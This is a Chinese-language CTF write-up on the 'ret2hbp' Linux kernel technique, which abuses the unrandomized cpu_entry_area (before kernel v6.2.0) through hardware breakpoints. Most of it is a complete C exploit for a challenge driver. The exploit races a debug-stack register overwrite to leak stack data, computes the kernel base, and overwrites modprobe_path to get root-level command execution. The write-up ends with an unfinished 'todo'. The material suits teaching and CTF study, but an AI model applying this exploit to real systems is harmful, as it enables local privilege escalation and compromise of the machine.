前言
ret2hbp 主要是利用在内核版本 v6.2.0 之前,cpu_entry_area mapping 区域没有参与随机化的利用。其主要针对的场景如下:
1)存在任意地址读,泄漏内核地址
2)存在无数次任意地址写,泄漏内核地址并提权
这里仅仅记录题目,具体原理请读者自行查阅资料,这里给一些参考链接:
一种借助硬件断点的提权思路分析与演示 板子题也是这个大佬写的
https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html
板子题
保护:smep、smap、kalsr、pti都开了
漏洞如下:无数次任意地址写8字节
exp 如下:这里在泄漏完kernel_offset后直接利用任意写打modprobe_path,这里取巧了
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <poll.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <syscall.h>
#include <unistd.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}#define DF_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))
#define CPU_ENTRY_AREA_DB_STACK_RCX_ADDR 0xfffffe0000010fb0
#define MMAP_ADDR 0x12340000
#define MMAP_SIZE 0x2000
int fd;
int pipe_fd[2];struct arg { uint64_t addr; uint64_t val };void arb_write(uint64_t addr, uint64_t val)
{struct arg arg = { .addr = addr, .val = val };ioctl(fd, 0, &arg);
}void set_hbp(pid_t pid, void* addr)
{if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(0), addr))err_exit("ptrace PTRACE_POKEUSER for dr0 in set_hbp");long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(7), dr7))err_exit("ptrace PTRACE_POKEUSER for dr7 in set_hbp");
}void do_trigger_hbp()
{bind_core(0);if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))err_exit("ptrace PTRACE_TRACEME in do trigger hbp");struct utsname* uts = (struct utsname*)MMAP_ADDR;int oob_idx = (sizeof(struct utsname) + sizeof(uint64_t) - 1) / sizeof(uint64_t);while (1){raise(SIGSTOP);uname(uts);if (((uint64_t*)uts)[oob_idx]){puts("[+] OOB Read Stack Data Successfully");write(pipe_fd[1], MMAP_ADDR, MMAP_SIZE);break;}}}void do_change_cx()
{bind_core(1);puts("[+] write cpu_entry_area DB_STACK -> rcx");while (1){arb_write(CPU_ENTRY_AREA_DB_STACK_RCX_ADDR, 0x400/8);}
}void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /tmp/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件system("chmod +x /tmp/dummy");system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/xsleep(0.3);system("cat /flag");exit(0);
}int main(int argc, char** argv, char** envp)
{fd = open("/dev/vuln", O_RDONLY);if (fd < 0) err_exit("open dev file");if (mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0) == MAP_FAILED)err_exit("mmap MMAP_ADDR");pipe(pipe_fd);pid_t pid1, pid2;puts("[+] fork a process to trigger hbp");pid1 = fork();if (!pid1){do_trigger_hbp();exit(0);} else if (pid1 < 0) {err_exit("fork a trigger hbp process");} else {waitpid(pid1, NULL, NULL);}pid2 = fork();if (!pid2){do_change_cx();exit(0);} else if (pid2 < 0) {err_exit("fork a trigger hbp process");}set_hbp(pid1, MMAP_ADDR);struct pollfd fds = { .fd = pipe_fd[0], .events = POLLIN };while (1){if (ptrace(PTRACE_CONT, pid1, NULL, NULL))err_exit("ptrace PTRACE_CONT");waitpid(pid1, NULL, NULL);int res = poll(&fds, 1, 0);if (res > 0 && (fds.revents & POLLIN)){read(pipe_fd[0], MMAP_ADDR, MMAP_SIZE);break;}}binary_dump("OOB READ STACK DTA", MMAP_ADDR+sizeof(struct utsname), 0x100);uint64_t* leak_data = MMAP_ADDR+sizeof(struct utsname);uint64_t kbase = leak_data[4] - 0xe0b32;uint64_t modprobe_path = kbase + 0x1e8b920;hexx("kbase", kbase);hexx("modprobe_path", modprobe_path);char cmd[8] = "/tmp/x";arb_write(modprobe_path, *(uint64_t*)cmd);get_flag();puts("[+] EXP NEVER END!");return 0;
}
效果如下:
但是在大佬 blog 中是直接可以提权的,所以这里尝试提权,这里其实想法挺多了,因为漏洞的品相比较好,所以可以直接考虑修改 ip / rsp,但是这里还是参考原文中的做法,因为 srcrpg 这题是固定地址的任意次1字节写。
todo 后面补